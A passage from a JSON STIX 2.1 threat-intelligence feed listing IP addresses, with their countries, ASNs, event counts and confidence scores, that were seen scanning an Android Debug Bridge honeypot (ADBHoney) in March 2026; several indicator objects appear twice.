          "first_seen": "2026-03-03T22:08:21.000Z",
          "last_seen": "2026-03-03T22:09:22.869Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "13213"
          ],
          "org": [
            "Thg Hosting Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=51177; asn_org=Tipzor Media Srl; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T22:46:25.000Z | last_seen=2026-03-03T22:47:26.210Z | ports=5555 | cc=RO | asn=51177 | org=Tipzor Media Srl",
      "id": "indicator--87f07a90-eb9a-4f03-b54b-f3710e26681f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '84.234.96.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:03.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T22:46:25.000Z",
          "last_seen": "2026-03-03T22:47:26.210Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "51177"
          ],
          "org": [
            "Tipzor Media Srl"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-04T02:52:12.000Z | last_seen=2026-03-04T03:03:25.004Z | ports=5555 | cc=US | asn=202412 | org=Omegatech LTD",
      "id": "indicator--0384b633-48d6-4425-b6b6-2e9c20ebe6cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T03:00:02.000Z",
      "valid_until": "2026-04-05T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-04T02:52:12.000Z",
          "last_seen": "2026-03-04T03:03:25.004Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-04T02:52:12.000Z | last_seen=2026-03-04T03:03:25.004Z | ports=5555 | cc=US | asn=202412 | org=Omegatech LTD",
      "id": "indicator--0384b633-48d6-4425-b6b6-2e9c20ebe6cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T03:00:02.000Z",
      "valid_until": "2026-04-05T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-04T02:52:12.000Z",
          "last_seen": "2026-03-04T03:03:25.004Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=38; ports=5555; cc=NL; asn=215292; asn_org=Gravhosting LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=99 | first_seen=2026-03-04T05:02:23.000Z | last_seen=2026-03-05T02:38:42.204Z | ports=5555 | cc=NL | asn=215292 | org=Gravhosting LLC",
      "id": "indicator--43dccc36-6535-4678-a6bc-4e7d71430430",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.25.217.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:00:04.000Z",
      "valid_until": "2026-04-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 99,
          "first_seen": "2026-03-04T05:02:23.000Z",
          "last_seen": "2026-03-05T02:38:42.204Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "215292"
          ],
          "org": [
            "Gravhosting LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=20 | first_seen=2026-03-04T05:50:52.000Z | last_seen=2026-03-25T03:04:08.110Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:00:04.000Z",
      "valid_until": "2026-04-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 20,
          "first_seen": "2026-03-04T05:50:52.000Z",
          "last_seen": "2026-03-25T03:04:08.110Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-04T05:53:11.000Z | last_seen=2026-03-04T06:03:33.183Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--ea01a56c-483c-465c-a680-6e7b4b6af095",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:00:04.000Z",
      "valid_until": "2026-04-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-04T05:53:11.000Z",
          "last_seen": "2026-03-04T06:03:33.183Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=38; ports=5555; cc=NL; asn=215292; asn_org=Gravhosting LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=99 | first_seen=2026-03-04T05:02:23.000Z | last_seen=2026-03-05T02:38:42.204Z | ports=5555 | cc=NL | asn=215292 | org=Gravhosting LLC",
      "id": "indicator--43dccc36-6535-4678-a6bc-4e7d71430430",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.25.217.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:00:04.000Z",
      "valid_until": "2026-04-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 99,
          "first_seen": "2026-03-04T05:02:23.000Z",
          "last_seen": "2026-03-05T02:38:42.204Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "215292"
          ],
          "org": [
            "Gravhosting LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=20 | first_seen=2026-03-04T05:50:52.000Z | last_seen=2026-03-25T03:04:08.110Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:00:04.000Z",
      "valid_until": "2026-04-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 20,
          "first_seen": "2026-03-04T05:50:52.000Z",
          "last_seen": "2026-03-25T03:04:08.110Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-04T05:53:11.000Z | last_seen=2026-03-04T06:03:33.183Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--ea01a56c-483c-465c-a680-6e7b4b6af095",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:00:04.000Z",
      "valid_until": "2026-04-05T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-04T05:53:11.000Z",
          "last_seen": "2026-03-04T06:03:33.183Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=132525; asn_org=HeiLongJiang Mobile Communication Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-04T06:43:10.000Z | last_seen=2026-03-04T06:53:24.116Z | ports=5555 | cc=CN | asn=132525 | org=HeiLongJiang Mobile Communication Company Limited",
      "id": "indicator--d288979a-dbe9-47aa-9918-c26d936fc233",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.40.55.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:00:02.000Z",
      "valid_until": "2026-04-05T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-04T06:43:10.000Z",
          "last_seen": "2026-03-04T06:53:24.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "132525"
          ],
          "org": [
            "HeiLongJiang Mobile Communication Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=CN; asn=132525; asn_org=HeiLongJiang Mobile Communication Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-04T06:43:10.000Z | last_seen=2026-03-04T06:53:24.116Z | ports=5555 | cc=CN | asn=132525 | org=HeiLongJiang Mobile Communication Company Limited",
      "id": "indicator--d288979a-dbe9-47aa-9918-c26d936fc233",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.40.55.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T07:00:02.000Z",
      "valid_until": "2026-04-05T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-04T06:43:10.000Z",
          "last_seen": "2026-03-04T06:53:24.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "132525"
          ],
          "org": [
            "HeiLongJiang Mobile Communication Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=BR; asn=7738; asn_org=V tal; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-04T09:14:06.000Z | last_seen=2026-03-04T09:24:11.608Z | ports=5555 | cc=BR | asn=7738 | org=V tal",
      "id": "indicator--36393dfb-2242-4f86-a294-5afb400db052",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '191.40.97.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-04T09:14:06.000Z",
          "last_seen": "2026-03-04T09:24:11.608Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "7738"
          ],
          "org": [
            "V tal"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-04T09:52:31.000Z | last_seen=2026-03-04T10:04:09.330Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--d0e50b40-1aa4-4555-87e1-6cc0cff846a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-04T09:52:31.000Z",
          "last_seen": "2026-03-04T10:04:09.330Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-04T09:50:30.000Z | last_seen=2026-03-23T10:17:00.062Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-04T09:50:30.000Z",
          "last_seen": "2026-03-23T10:17:00.062Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-04T09:49:17.000Z | last_seen=2026-03-04T09:50:21.231Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a93b224a-cb53-40db-af76-8ae70c46abe3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-04T09:49:17.000Z",
          "last_seen": "2026-03-04T09:50:21.231Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=BR; asn=7738; asn_org=V tal; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-04T09:14:06.000Z | last_seen=2026-03-04T09:24:11.608Z | ports=5555 | cc=BR | asn=7738 | org=V tal",
      "id": "indicator--36393dfb-2242-4f86-a294-5afb400db052",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '191.40.97.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-04T09:14:06.000Z",
          "last_seen": "2026-03-04T09:24:11.608Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "7738"
          ],
          "org": [
            "V tal"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-04T09:52:31.000Z | last_seen=2026-03-04T10:04:09.330Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
